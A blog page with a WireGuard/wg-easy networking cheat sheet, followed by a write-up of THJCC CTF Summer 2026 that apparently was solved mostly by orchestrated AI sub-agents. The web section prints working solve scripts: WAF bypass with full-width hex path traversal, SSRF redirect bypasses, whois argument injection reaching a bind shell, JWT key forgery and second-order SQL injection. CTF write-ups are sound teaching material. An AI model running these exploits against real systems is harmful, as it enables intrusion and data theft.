KePulsary

WireGuard 与 wg-easy 速查手册

Wed, 26 Aug 2026 03:00:00 +0000

WireGuard 与 wg-easy 速查手册

1. 转发：一个包到达主机后

flowchart TD
 A["网卡收到 IP 包"] --> B{"目的 IP 是本机？"}
 B -->|"是"| C["交给本机进程<br/>（ping / ssh / 浏览器）"]
 B -->|"否"| D{"ip_forward = 1？"}
 D -->|"否"| E["丢弃（普通主机默认）"]
 D -->|"是"| F["查系统路由表<br/>最长前缀匹配"]
 F --> G{"FORWARD 链放行？"}
 G -->|"否"| E
 G -->|"是"| H["从匹配接口发出<br/>（eth0 / wg0）"]

路由表 = 去哪、从哪出（ip route）
ip_forward = 肯不肯帮别人转包
FORWARD 链 = 防火墙放不放转发的包

2. NAT：为什么出口端必须改写源 IP

sequenceDiagram
 participant S as 支援PC 10.8.0.3
 participant E as 出口机 192.168.80.132
 participant T as 比赛机器 192.168.80.10
 S->>E: src=10.8.0.3 dst=192.168.80.10
 Note over E: POSTROUTING 链 SNAT：<br/>源改写为 192.168.80.132，<br/>conntrack 记录映射
 E->>T: src=192.168.80.132
 T->>E: 回包 dst=192.168.80.132
 Note over E: conntrack 查表：<br/>目的地改回 10.8.0.3
 E->>S: dst=10.8.0.3（进 wg 隧道）

不改写源 IP，比赛机器不认识 10.8.0.3，回包石沉大海（回程路由问题）。

	`SNAT --to-source IP`	`MASQUERADE`
源 IP	固定指定	出口网卡当前 IP（动态）
适用	IP 恒定（桥接 VM / 静态内网 IP）	IP 浮动（DHCP / 云主机 / WSL2）

3. WireGuard：AllowedIPs 一个字段两件事

flowchart LR
 subgraph OUT ["出方向 = 选路"]
 A["目的地命中某 peer 的 AllowedIPs"] --> B["加密发给该 peer"]
 end
 subgraph IN ["入方向 = 门禁"]
 C["从 peer 解密出的包"] --> D{"源 IP 在该 peer<br/>AllowedIPs 内？"}
 D -->|"是"| E["放行"]
 D -->|"否"| F["静默丢弃"]
 end

客户端配置和服务端 wg0.conf 是两张独立的表，各写各的：

flowchart LR
 subgraph PC ["支援PC 下载的客户端配置"]
 A1["[Peer] 服务器<br/>AllowedIPs =<br/>10.8.0.0/24, 192.168.80.0/24"]
 end
 subgraph VPSS ["VPS 的 wg0.conf"]
 B1["peer(支援PC)<br/>AllowedIPs = 10.8.0.3/32"]
 B2["peer(出口机)<br/>AllowedIPs = 10.8.0.2/32,<br/>192.168.80.0/24（挂载网段）"]
 end
 subgraph EPC ["出口机下载的客户端配置"]
 C1["[Peer] 服务器<br/>AllowedIPs = 10.8.0.0/24"]
 end
 A1 -.加密.-> VPSS
 C1 -.加密.-> VPSS

系统路由表先于密钥路由：内核先决定包走 wg0，WireGuard 才按 peer AllowedIPs 选加密对象
Table = auto：wg-quick up 时才为 peer 的 AllowedIPs 写系统路由；syncconf 只改 peer 表不写路由 → 改完挂载网段必须重启接口
PersistentKeepalive = 25：给中间每层 NAT 的 UDP 映射续费

4. 两种出口模型

flowchart LR
 A["本地PC-A"] -->|"0.0.0.0/0 全隧道"| V["VPS 原版 wg-easy<br/>MASQUERADE -o eth0"]
 B["本地PC-B"] -->|"0.0.0.0/0"| V
 V --> I["互联网<br/>所有人的出口 IP = VPS"]

flowchart LR
 A["支援PC<br/>10.8.0.3"] -->|"隧道 UDP 51820"| V["VPS<br/>纯转发，不 NAT"]
 V -->|"目的 ∈ 192.168.80.0/24<br/>按 peer AllowedIPs"| E["出口机<br/>wg:10.8.0.2<br/>内网:192.168.80.132"]
 E -->|"SNAT 源 → .132"| N["比赛内网<br/>192.168.80.0/24"]

	原版 wg-easy	my-wg-easy（魔改旧版）	新版 wg-easy
出口	VPS（MASQUERADE）	指定出口机（SNAT）	任意，按客户端配
挂载网段	无	`WG_ALLOWED_IPS`	每客户端 Server Allowed IPs
出口端 NAT	服务端固定	硬编码进出口机配置	每客户端 Post Up 钩子
指定出口机	无	按客户端名 `WG_LOCAL_NAME`	显式逐客户端配置
配置生效	重启容器	重启容器	Restart Interface

5. 场景全景：ping 192.168.80.10 的一生

flowchart TD
 S["① 支援PC：路由表 192.168.80.0/24 → wg0，加密"] --> V["② VPS：解密，非本机，转发<br/>需 ip_forward + FORWARD 放行<br/>需系统路由 192.168.80.0/24 → wg0<br/>密钥路由命中出口机 peer，加密"]
 V --> E["③ 出口机：解密，非本机，转发<br/>SNAT 源 10.8.0.3 → 192.168.80.132"]
 E --> T["④ 比赛机器：只看到 .132 在访问"]
 T -->|"⑤ 回包 dst=.132"| E2["⑥ 出口机：conntrack 改回 dst=10.8.0.3<br/>路由 10.8.0.0/24 → wg0，加密"]
 E2 --> V2["⑦ VPS：解密，dst=10.8.0.3<br/>/32 最长前缀命中支援PC peer，加密"]
 V2 --> S2["⑧ 支援PC：解密，源=192.168.80.10<br/>在自己 AllowedIPs 内 → 放行 ✓"]

6. 新版 wg-easy 比赛内网配置（推荐）

flowchart TD
 A["VPS 部署新版 wg-easy，默认配置"] --> B["创建客户端：出口机<br/>按下表配字段"]
 B --> C["赛场 Linux 机：<br/>sysctl -w net.ipv4.ip_forward=1<br/>wg-quick up 下载的 conf"]
 C --> D["管理后台 Restart Interface<br/>（生成 比赛网段 → wg0 系统路由）"]
 D --> E["创建客户端：支援<br/>Allowed IPs 加比赛网段"]
 E --> F["分发配置 / 二维码"]

出口机客户端字段：

字段	值
Allowed IPs	`10.8.0.0/24`
Server Allowed IPs	`192.168.80.0/24`（比赛网段，可多个）
Post Up	`iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j SNAT --to-source 192.168.80.132`
Post Down	同上改 `-D`
Persistent Keepalive	`25`

支援客户端字段：

字段	值
Allowed IPs	`10.8.0.0/24, 192.168.80.0/24`

坑：

改 Server Allowed IPs 后必须 Restart Interface（syncconf 不写系统路由）
出口机须 Linux 且 wg-quick 启动（Windows 原生客户端不执行 PostUp）；VM 桥接最佳；WSL2 / Docker 场景 PostUp 改用 -j MASQUERADE
比赛网段勿与 WG 虚拟网段重叠
新客户端默认继承全局 Allowed IPs（0.0.0.0/0），不改则支援全部流量走 VPS

7. my-wg-easy（旧版）比赛内网配置

环境变量	示例	含义
`WG_LOCAL_NAME`	`l1aotest`	出口机的客户端名
`WG_LOCAL_PASS`	`192.168.80.132`	出口机内网 IP（SNAT 目标）
`WG_ALLOWED_IPS`	`192.168.80.0/24`	挂载网段（同时喂客户端路由 + 服务端 peer）
`WG_DEFAULT_ADDRESS`	`10.8.0.x`	WG 虚拟网段
`WG_PERSISTENT_KEEPALIVE`	`25`	NAT 保活

流程：先创建名为 WG_LOCAL_NAME 的客户端 → 重启容器（wg-quick up 才写挂载网段路由）→ 出口机用下载的 conf wg-quick up + 开 ip_forward。

8. 排障：按序检查

flowchart TD
 A["ping 不通"] --> B["支援PC：ip route get 目标<br/>走了 wg0？"]
 B -->|"否"| B1["AllowedIPs 缺比赛网段"]
 B -->|"是"| C["VPS：ip route get 目标<br/>走了 wg0？"]
 C -->|"否"| C1["改过挂载网段没重启接口<br/>→ Restart Interface"]
 C -->|"是"| D["出口机：tcpdump -ni eth0<br/>有出向包？"]
 D -->|"否"| D1["ip_forward 未开 / FORWARD 未放行"]
 D -->|"是"| E["回包到出口机却没回支援？<br/>支援 AllowedIPs 缺比赛网段<br/>（被自己 WG 门禁丢弃）"]

1
2
3


ip route get 192.168.80.10 # 本机视角：包从哪个口出
tcpdump -ni wg0 # 隧道侧抓包
tcpdump -ni eth0 # 物理侧抓包

THJCC CTF Summer 2026 writeup

Sun, 16 Aug 2026 00:00:00 +0000

THJCC CTF Summer 2026 writeup

THJCC CTF Summer Edition 2026（2026-08-13 ~ 08-16 20:00 UTC+8，CTFd 平台，动态计分）， 46 题解出 40：

分类	战绩	备注
Crypto	8/8	全清
Pwn	6/6	全清
Reverse	6/6	全清
Web	7/9	未解：The Archivist、Buggy web（均 0 解）
Misc	7/10	未解：All night long（需认歌）、CTFxck、Shifting v2（paste 失效）
Forensics	5/6	未解：Minecraft???（需 MC 客户端）
Welcome	1/1

最终 4504 分、排名 14（榜首奶龍大冒險 6341 分）。动态计分的副作用是榜单下午整体通缩：解出的人越多，题分越低，最后几小时我们的分数从 5900+ 一路滑到 4504。

这篇记录的不仅是题解。和以往单模型一路打到底不同，这次是编排式：主 agent 只做编排（侦察/派单/验收），全部解题由后台子 agent 流水线完成，多模态题外送 GPT。 40 题里我只亲手做了两道纯本地快题（Starry Sky、Baritone），其余 38 题是 138 个子 agent 会话的流水线派单加 GPT 两次出手的结果。怎么分工、踩了哪些坑、六道没解出来的题为什么没解出来，都写在前面，题解放后面。

一、模型怎么分的工

分工形态开头已经讲过，这里只给证据。比赛从 08-15 傍晚打到 08-16 20:00，主会话换了 5 个；模型段和切换点从各会话的运行记录逐段核对，再叠加各题 WRITEUP 的落盘时间戳交叉验证：

主会话	时段	模型段（请求 ×N）	完成的题目
会话①	08-15 16:20–16:50	deepseek-v4-flash ×125	首次全量扫题尝试，被用户清空重来（产物未保留）
会话②	08-15 16:52–18:03	deepseek-v4-flash ×117	xorlocks、I ate something bad、Lattice of Doom、Because There is no one Make Reverse So I Create This Chal（reverse-chal）、Man!、A Little Penguin’s Starry Sky Observation（第一批开局六题）
会话②	08-15 18:13–20:55	GLM-5.3 ×95	67jail、サイゼリヤ、Avatar Studio、Oracle of Padding、necropet、get-file1、déjà vu、A Million Messages
会话②	08-15 21:04–08-16 06:11	deepseek-v4-flash ×104	License、404、Nonce Sense、Afterimage2、TeaGod.exe、Canary Notes、Contoso（22:26 第二批上线后的夜场，通宵到早）
会话②尾段 + 会话③④并行	08-16 06:11–11:36	GLM-5.3 ×25 + deepseek-v4-flash ×157/×78	TeaGod666、Chronicle、Schizophrenic Signer、NoNo、Bookworm、get-file2、Time Machine、BlackFrost、Very Security Shell、Who is Whois? 2、Forbidden、Two Exponents；Starry Sky、Baritone 两道为主 agent 亲解（纯本地快题）
会话⑤（终局会话）	08-16 11:23–20:53	GLM-5.3 ×233（主编排）	Welcome（用户人眼 + GPT check-in）、SO EZ MISC（子 agent 第 3 轮）、SimpleNotes（子 agent 第 3 轮）
GPT（外部多模态）	08-16 午后	—	Afterimage1（mdat 孤立帧）、Where is our head（墨尔本双锚点）；All night long 未出

子 agent 兵团：138 个 subagent 会话，deepseek-v4-flash 68 个（4020 请求）、GLM-5.3 70 个（2830 请求）。每题一个 agent，时间盒 30-40 分钟，断点落盘、中断续派，滑窗保持 ≤3 并发（试过 6 并发，模型层连环故障）。未解题的消耗也值得一提：CTFxck 打了 10 轮，Buggy web 7 轮，The Archivist 5 轮，SO EZ MISC 和 SimpleNotes 各 3 轮，后两个第 3 轮破题。

术语：

上下文压缩＝主会话上下文超长时摘要续写，会话记录因此分段、模型归属按段核对；

断点落盘＝每轮把中间状态写进挑战目录 notes.md，按「已确凿的事实 / 当前假设与排除面 / 下一步（优先级）」分节滚动维护（如 ctfxck/notes.md 十轮、the-archivist/checkpoint_notes.md），中断可续、赛后可复盘；

滑窗＝保持固定并发数、一个 agent 结束立即补派；

1308＝账户级 5 小时请求配额上限（跨模型共享）；

会话 ID（b96110e4 等）＝本地会话编号，仅用于对照运行记录。

我给的 prompt（对照表，从会话记录提取）

时间	原始 prompt（摘录）	响应的模型
08-15 16:20	完成 https://ctf2026-sum.thjcc.org/challenges 中所有的挑战，有什么需求轮子可以自己安装github（检索）/brew，并把你的解题思路记下来……	deepseek-v4-flash
08-15 16:48	清空下本地题目文件夹的内容，与相关的记忆。	deepseek-v4-flash
08-15 16:52	# 任务：CTF 全量刷题（主 agent 编排模式）……（任务编排模板首版全文）	deepseek-v4-flash
08-15 16:57	这是ctfd，应该有对应的token可以用	deepseek-v4-flash
08-15 18:15	（上下文压缩后重注入任务模板）	GLM-5.3 ← 模型切换点
08-15 19:11	每次至多一个比赛题目环境吧？teagod我先停了，先做其他的？避免环境冲突？	GLM-5.3
08-15 19:15	rev，和pwn我理解简单点，还可以本地调试？	GLM-5.3
08-15 19:21	密码题我理解也可以本地解决，多派几个agent解决下crypto。	GLM-5.3
08-15 19:54	子agent貌似访问不到download，所以你派任务前，先把题目附件下好	GLM-5.3（附件预下载制度由来）
08-15 20:39	去掉容器的限制	GLM-5.3（环境锁废除的前奏）
08-15 21:07	现在又有token了，继续干！需要我的东西留到最后再搞。另外的，没有多模态额度了！	deepseek-v4-flash ← 切回
08-15 22:26	先放着吧，看下有没有新题，也加到队列里，另外我去睡觉了，有问题收集起来我明天会看，应解尽解下。	deepseek-v4-flash（通宵无人值守）
08-16 06:11	结合我之前说的内容，更新下任务模板文件	deepseek-v4-flash
08-16 06:18	继续完成解题，优先做最可能完成的题目，对于多次没做出来的题目优先级降低些（放后面再做，避免卡进度）。	GLM-5.3（b96110e4 开场）
08-16 08:11	agent放后台执行，有agent结束就派新的agent……避免等待5个agent全完成才派发下一批	deepseek-v4-flash（滑窗流水线定稿）
08-16 08:16	派子agent 模型用deepseek就行	deepseek-v4-flash
08-16 08:34	不要有lock，写到ctf prompt template中……一个容器锁会影响多个子agent解题	deepseek-v4-flash（环境锁全面废除）
08-16 10:10	让子agent去做，派的子agent少一点，就三个，不然容易限流	deepseek-v4-flash（≤3 并发定稿）
08-16 11:20	停止所有agent，后面让他们总结阶段性成果，我要交给下一个模型去干活了。	deepseek-v4-flash
08-16 11:23	继续完成解题，优先做最可能完成的题目……主agent调度，子agent干活，没有锁，最多三个子agent run在后台。	GLM-5.3（终局会话 d3dc43ee 开场）
08-16 12:0x	welcome做出来了，这是wp：……（Welcome 57 帧题解全文）	GLM-5.3
08-16 12:4x	现在还有哪些难搞的需要多模态模型的题目？给我下，我等会让gpt搞一下	GLM-5.3（GPT 外援通道开启）
08-16 13:0x	这些需要gpt（多模态）完成的题目你就不要再自己做了。把题目与相关需要交接的东西给到我就行	GLM-5.3（三题移交定稿）
08-16 14:1x	这是干啥的？/tmp/thjcc-submit-lock。提交flag也弄个锁吗？不需要锁	GLM-5.3（提交锁废除）
08-16 14:2x	ctfd的平台应该有便捷的方式提交flag吧？比如apikey的openapi……给一个curl出来我让gpt自己验证去	GLM-5.3（API token 交付 GPT）
08-16 15:0x	有配额了，继续让agent干！	GLM-5.3（1308 重置后复场）
08-16 15:2x	simplenotes不会有源码了，继续干他，不要太局限了，你看没源码也有解ssrf看看呢	GLM-5.3（SimpleNotes 第 3 轮换论）
08-16 19:3x	TL;DR 正确答案：THJCC{144.95,-37.81}……（GPT 两题完整 WP 回传）	GLM-5.3
08-16 19:5x	两道web派子agent攻克下	GLM-5.3（终局两路）

归属方法注记：主会话的模型段与切换点按运行时间连续分段核对；用户 prompt 已过滤系统注入消息（待办提醒、子任务回报等）；题目归属 = WRITEUP 落盘时间戳落在哪个模型段。早期记录在上下文压缩后有所缺失，以完整保存的记录为准。

几条被打磨出来的纪律

提交锁废除：一开始按模板给 flag 提交加了个 mkdir 原子锁，被用户否了：多 agent 互相等锁只会互相阻塞。改成无锁，撞了平台限速就退避（CTFd 大约一分钟限 10 次，被限速的那次不算判定，sleep 8-10s 重发即可）。
配额墙：账户级 5 小时请求上限（1308 次）跨模型共享，撞墙就停派等重置，空档期我自己做纯本地快题维持进度。
降级规则：多轮打不动的题排到队尾。The Archivist、Buggy web、CTFxck 都是打满十轮上下后正式关闭，每轮断点全量落盘，等官方 writeup 对答案。
题面复核：黑盒卡死先复查附件和题面有没有中途更新，这条抓到过两次关键情报（Buggy web 作者后挂了 4 条 hints，直接点明密码字段是 SQLi；CTFxck 题面补了解释器源码链接）。

官方 hints 的杠杆率

Buggy web 的 3 条免费 hint 加 1 条 50 分的付费 hint 全买了，情报质量确实高（账号固定在 DB、密码字段拼 SQL、DB 有个休眠函数）。结果 7 轮 ~350 个 payload 打下来，password 进的是结果被丢弃的查询，黑盒里根本没有 oracle 可依赖。买 hint 前得先想清楚它帮你排除了什么，又排除不了什么。

二、题解（40 题，每题附真实可运行的最小 POC）

每题代码即对应本地题目目录 <slug>/solve.py（或 solve.sh）的核心逻辑，参数化可直接运行；纯人眼/OSINT 类题（Welcome、Where is our head、Penguin）注明豁免与可复现部分。

说明：联网 POC（chal.thjcc.org 各端口）为赛时实例验证，赛后需自建环境或本地起题；离线可复现的题（Two Exponents、Lattice of Doom、License、404/xorlocks、BlackFrost、TeaGod.exe、Because…、Man!、Afterimage2、Starry Sky、Baritone、Welcome 抽帧、サイゼリヤ）开箱即跑。40 题 = 38 个条目：get-file1/get-file2 与 404/xorlocks 各合并为一条。所有代码块默认折叠，按需点击展开。

跨题套路·解码/归一/格式层差异判别法（SimpleNotes 全角 hex、67jail NFKC 全角标识符、get-file1 小写 location:、Time Machine zip/tar symlink）：遇到"某种检查能过、另一种不过"时，先枚举输入会经过的所有层（URL 解码、tokenizer 归一、大小写折叠、归档格式解析…），对每层送一组对照输入（%25 编码、全角字符、大小写头、换归档格式），确定"哪层看不见什么"，再从层间差异下手。

Web（7/9）

SimpleNotes（Ghost Bits / BH Asia 2026） Flag：THJCC{inspired_by_blackhat_asia_2026}

前两轮证明了 /api/read?f= 在 ASCII 编码空间"数学密封"（WAF raw+解码双查 ../%2e/%2f，应用单次 URLDecoder）。破口在解码器字符集差异：URLDecoder 的十六进制解析走 Character.digit，它接受全角字符：%２ｅ 解码出 .，而 WAF 的 ASCII token 匹配完全看不见。

📜 SimpleNotes solve.py（56 行，核心 ghost_escape@149）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56


#!/usr/bin/env python3
"""SimpleNotes (THJCC CTF Summer 2026, Web) — 一键复现.

原理: 控制器对 f 做一次 java.net.URLDecoder.decode; 其十六进制解析走
Character.digit(char,16), 接受全角字符('２'->2, 'ｅ'->14, 'ｆ'->15),
故 "%２ｅ"->'.'、"%２ｆ"->'/', 而 WAF 只匹配 ASCII token "%2e/%2f/..".
传输约束: '%' 必须写成 %25, 全角字符必须 UTF-8 百分号编码(裸高位字节/裸%+非ASCII
均被 Tomcat 400).

用法: solve.py [base_url] [--depth N] [--target flag.txt]
"""
import argparse
import sys
import urllib.request

FW = {"2": "２", "e": "ｅ", "f": "ｆ", "E": "Ｅ", "F": "Ｆ"}


def ghost_escape(ch: str) -> str:
 """把 '.' 或 '/' 编码成 URLDecoder 能折叠、WAF 看不见的 %２ｅ/%２ｆ 形态."""
 hexpair = f"{ord(ch):02x}" # '.' -> '2e', '/' -> '2f'
 body = "".join(FW[c] for c in hexpair)
 return "%25" + "".join(f"%{b:02X}" for b in body.encode("utf-8"))


def fetch(base: str, query: str) -> tuple[int, str]:
 url = f"{base.rstrip('/')}/api/read?{query}"
 try:
 with urllib.request.urlopen(url, timeout=10) as r:
 return r.status, r.read().decode("utf-8", "replace")
 except urllib.error.HTTPError as e:
 return e.code, e.read().decode("utf-8", "replace")


def main() -> None:
 ap = argparse.ArgumentParser()
 ap.add_argument("base", nargs="?", default="http://chal.thjcc.org:12024")
 ap.add_argument("--depth", type=int, default=2, help="notes 目录深度(默认 2)")
 ap.add_argument("--target", default="flag.txt", help="根下目标文件名")
 a = ap.parse_args()

 code, body = fetch(a.base, "f=" + ghost_escape("."))
 print(f"[*] canary -> [{code}] {body.strip()!r} (期望 404 echo '.')")

 q = "f=" + (ghost_escape(".") * 2 + "/") * a.depth + ghost_escape("/") + a.target
 code, body = fetch(a.base, q)
 print(f"[*] traversal(depth={a.depth}) -> [{code}]")
 if code == 200 and body.startswith("THJCC{"):
 print(f"[+] {body.strip()}")
 sys.exit(0)
 print(f"[-] {body.strip()[:200]} (尝试 --depth 1/2/3)")
 sys.exit(1)


if __name__ == "__main__":
 main()

get-file1 / get-file2（SSRF 续作对） Flag：THJCC{pHp_StReAm_30X_cAsE_43082ed528} / THJCC{PHP_stream_30x_DuAl_65de4980cf}

v1 的 redirect 白名单用大小写敏感的 str_starts_with('Location:') 校验，redirector 发小写 location: 头即绕过，PHP stream 跟 3xx 不分大小写直达 flag host。v2 修了这个但只校验第一跳，跟随链后续不查，内网端点直接吐 flag。

📜 get-file1 solve.py（33 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


# ==== get-file1/solve.py ====
#!/usr/bin/env python3
"""get-file1 一键复现：SSRF + 小写 location 头绕过重定向白名单校验。

用法: python3 solve.py [host:port]
默认 chal.thjcc.org:8081。预期输出: THJCC{...}
"""
import sys, urllib.request, urllib.error

TARGET = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org:8081"

# r = redirector 的 compose 服务名（docker-compose.yml services.r）
# /a 端点用小写 'location' 头发出 302 -> http://flag.thjcc/flag.txt
payload = f"http://{TARGET}/file.php?u=http://r/a"

try:
 body = urllib.request.urlopen(payload, timeout=20).read().decode()
except urllib.error.HTTPError as e:
 body = e.read().decode()

print(f"[+] GET {payload}")
print(body.strip())

# 对照组：/b 用大写 'Location'，会被 file.php 的
# str_starts_with($v,'Location:') 手动校验抓住 -> 400 error
try:
 urllib.request.urlopen(f"http://{TARGET}/file.php?u=http://r/b", timeout=20).read()
 ctrl = "unexpected 200"
except urllib.error.HTTPError as e:
 ctrl = e.read().decode().strip()
print(f"[*] control /b (capital Location) -> {ctrl!r} (预期 'error')")
if "THJCC{" in body:
 print("[*] flag captured")

📜 get-file2 solve.sh（9 行）——点击展开

1
2
3
4
5
6
7
8
9


# ==== get-file2/solve.sh ====
#!/bin/bash
# get-file2 solve: SSRF to internal r/a which serves the flag directly.
# Usage: bash solve.sh [host] [port]
set -u
HOST="${1:-chal.thjcc.org}"
PORT="${2:-8082}"
curl -s -m 10 "http://${HOST}:${PORT}/file.php?u=http://r/a"
echo

Who is Whois? 2 Flag：THJCC{Wh0_15_wH015???WH0_15_wh0_15:D}

whois query 拼 argv，-h/-p 参数透传 = 任意 TCP SSRF → 内网全端口扫出 127.0.0.1:31337 的 bind shell（输入即执行）→ 跑 root 0711 的 /flag 可执行文件直接吐 flag。

发现过程：;/$()/`/| 全被滤，但 whois CLI 参数原样透传——-h 127.0.0.1 -p 80 x 回 “WHOIS connection failed.” 实锤任意 TCP SSRF；对 127.0.0.1 全端口扫描只有 31337 回 sh: 1: x: not found——把每行输入当 shell 命令执行的 bind shell（redis 用户）。Redis 6379 路线被 rename-command 禁用 + Lua 沙箱封死，FTP/SMTP/SSH 是假服务。

📜 Who is Whois? 2 solve.sh（19 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


#!/bin/sh
# solve.sh — Who is Whois? 2 (THJCC CTF Summer 2026, Web, 500pts)
# 攻击链: whois CLI 参数注入（-h/-p）→ SSRF → 127.0.0.1:31337 bind shell（redis 用户）
# → 执行 /flag（root 0711: 可执行不可读）→ 输出 flag
# 用法: bash solve.sh [HOST] [PORT]
# 依赖: curl, python3（解析 JSON）
set -u

HOST="${1:-chal.thjcc.org}"
PORT="${2:-5000}"
QUERY='-h 127.0.0.1 -p 31337 /flag'

echo "[*] WHOIS SSRF payload: ${QUERY}"
RESP=$(curl -sk --max-time 15 -X POST "http://${HOST}:${PORT}/whois" \
 -H 'Content-Type: application/json' \
 -d "{\"query\":\"${QUERY}\"}")

FLAG=$(echo "${RESP}" | python3 -c 'import sys,json;print(json.load(sys.stdin).get("output","").strip())')
echo "[+] Flag: ${FLAG}"

Avatar Studio Flag：THJCC{local_test_flag_not_the_real_one}

JWT kid 相对路径 ../ 穿越（startswith("/") 只拦绝对路径）到 /.git/HEAD 已知内容做 HS256 密钥 → 伪造 admin token。

发现过程：/.git/<path> 显式路由先泄漏全部源码——load_key(kid) 只拦 NUL 与 / 开头，os.path.join 不解析 ..；线上 .git/HEAD 内容已知（ref: refs/heads/master），kid=../.git/HEAD 就把"任意已知内容文件"变成 HMAC 密钥。/panel-legacy 的假 flag 诱饵平台判 incorrect。

📜 Avatar Studio solve.py（71 行，核心 forge@291）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


#!/usr/bin/env python3
"""Avatar Studio - one-shot solve.

Vuln chain (from .git leak source, app.py):
 load_key(kid) only blocks NUL bytes and leading "/" -- os.path.join(KEY_DIR, kid)
 still allows "../" traversal, so ANY file with known content can serve as the
 HMAC-SHA256 signing key. The app itself serves /.git/<path> verbatim, so we can
 read .git/HEAD bytes live and use kid="../.git/HEAD" to forge an admin JWT.

Usage: solve.py BASE_URL (instance URL from the CTF-Instancer, e.g. http://chal.thjcc.org:<port>)
"""
import base64
import hashlib
import hmac
import json
import sys
import urllib.request

if len(sys.argv) < 2:
 sys.exit("usage: solve.py BASE_URL (your instancer-provided instance URL)")
BASE = sys.argv[1].rstrip("/")


def b64url(data: bytes) -> str:
 return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def b64url_decode(data: str) -> bytes:
 return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))


def forge(kid: str, payload: dict, key: bytes) -> str:
 header = {"alg": "HS256", "typ": "JWT", "kid": kid}
 h = b64url(json.dumps(header, separators=(",", ":")).encode())
 p = b64url(json.dumps(payload, separators=(",", ":")).encode())
 sig = hmac.new(key, f"{h}.{p}".encode(), hashlib.sha256).digest()
 return h + "." + p + "." + b64url(sig)


def get(path: str, cookie: str = None) -> tuple[int, bytes]:
 req = urllib.request.Request(BASE + path)
 if cookie:
 req.add_header("Cookie", cookie)
 try:
 r = urllib.request.urlopen(req, timeout=10)
 return r.status, r.read()
 except urllib.error.HTTPError as e:
 return e.code, e.read()


# 1. pull exact key material from the app's own .git route
status, head_bytes = get("/.git/HEAD")
assert status == 200, f".git/HEAD fetch failed: {status}"
print(f"[*] .git/HEAD = {head_bytes!r}")

# 2. forge admin token with that file as the HMAC key
payload = {"username": "admin", "role": "admin"}
token = forge("../.git/HEAD", payload, head_bytes)
print(f"[*] forged token = {token}")

# 3. claim the flag
status, body = get("/admin", f"session={token}")
print(f"[*] /admin -> {status}")
text = body.decode(errors="replace")
import re
m = re.search(r"THJCC\{[^}]*\}", text)
if m:
 print(f"[+] FLAG: {m.group(0)}")
else:
 print(text[:500])
 sys.exit(1)

Bookworm（二阶 SQLi） Flag：THJCC{s3c0nd_0rd3r_b00kw0rm_9f3a1c}

注册参数化安全入库，/generate_report 后台线程字符串拼接 WHERE username='...' 二次查询引爆；CSV 报告行有无 = 布尔 oracle。存储 XSS 是诱饵（无 bot）。

📜 Bookworm solve.py（87 行，核心 sqli_report@402）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


#!/usr/bin/env python3
"""Bookworm (THJCC CTF Summer 2026) — second-order SQLi via async report thread.

Usage:
 python3 solve.py --host chal.thjcc.org --port 31263

Chain:
 1. register a user whose username is a SQL payload (all main routes are
 safely parameterized, the payload just sits in the users table)
 2. POST /generate_report -> the *background thread* later runs
 SELECT title,author,rating FROM books WHERE username='<payload>'
 with string concatenation -> second-order SQL injection
 3. the generated CSV report is the exfil channel (UNION results appear
 as book rows); a crashed thread = no report row at all (boolean oracle)
"""
import argparse
import re
import sys
import time

import requests

FLAG_TABLE_B64 = "bjB0aDFuZ190MF9zMzNfaDNyMw==" # decodes to n0th1ng_t0_s33_h3r3

DUMPS = [
 ("tables",
 "x' UNION SELECT 1,(SELECT group_concat(name) FROM sqlite_master "
 "WHERE type='table'),3-- "),
 ("hidden-schema",
 "y' UNION SELECT 1,(SELECT sql FROM sqlite_master "
 "WHERE name LIKE 'bjB0%'),3-- "),
 ("flag",
 "z1' UNION SELECT (SELECT name||' == '||value FROM "
 f"\"{FLAG_TABLE_B64}\"),2,3-- "),
]


def sqli_report(base, payload, idx):
 """Register payload-username, trigger async report, return CSV text."""
 s = requests.Session()
 user = payload # full payload must survive: usernames >64 chars are accepted
 s.post(f"{base}/signup", data={"username": user, "email": "e@e.com",
 "password": "Pw12345!"}, timeout=10)
 r = s.post(f"{base}/login", data={"username": user,
 "password": "Pw12345!"}, timeout=10)
 if "Logout" not in r.text:
 print("[-] login failed (username rejected?)", file=sys.stderr)
 return None
 s.post(f"{base}/shelf", data={"title": "mk", "author": "a",
 "rating": "3"}, timeout=10)
 s.post(f"{base}/generate_report", timeout=10)
 for _ in range(6): # async thread writes the row ~1-4s later
 time.sleep(2)
 inbox = s.get(f"{base}/inbox", timeout=10).text
 ids = re.findall(r"/download_report/(\d+)", inbox)
 if ids:
 return s.get(f"{base}/download_report/{max(ids, key=int)}",
 timeout=10).text
 return None


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--host", required=True)
 ap.add_argument("--port", type=int, required=True)
 args = ap.parse_args()
 base = f"http://{args.host}:{args.port}"

 for tag, payload in DUMPS:
 print(f"[+] dumping: {tag}")
 csv = sqli_report(base, payload, tag)
 if csv is None:
 print(" (thread crashed or no report -> payload rejected)")
 continue
 for line in csv.splitlines():
 if (line.startswith(("mk,", '"mk')) or "script" in line.lower()
 or line == "title,author,rating" or line in (",2,3", "1,2,3")):
 continue
 print(" ", line[:300])
 m = re.search(r"(THJCC\{[^}]+\})", line)
 if m:
 print("\n[+] FLAG:", m.group(1))
 return


if __name__ == "__main__":
 main()

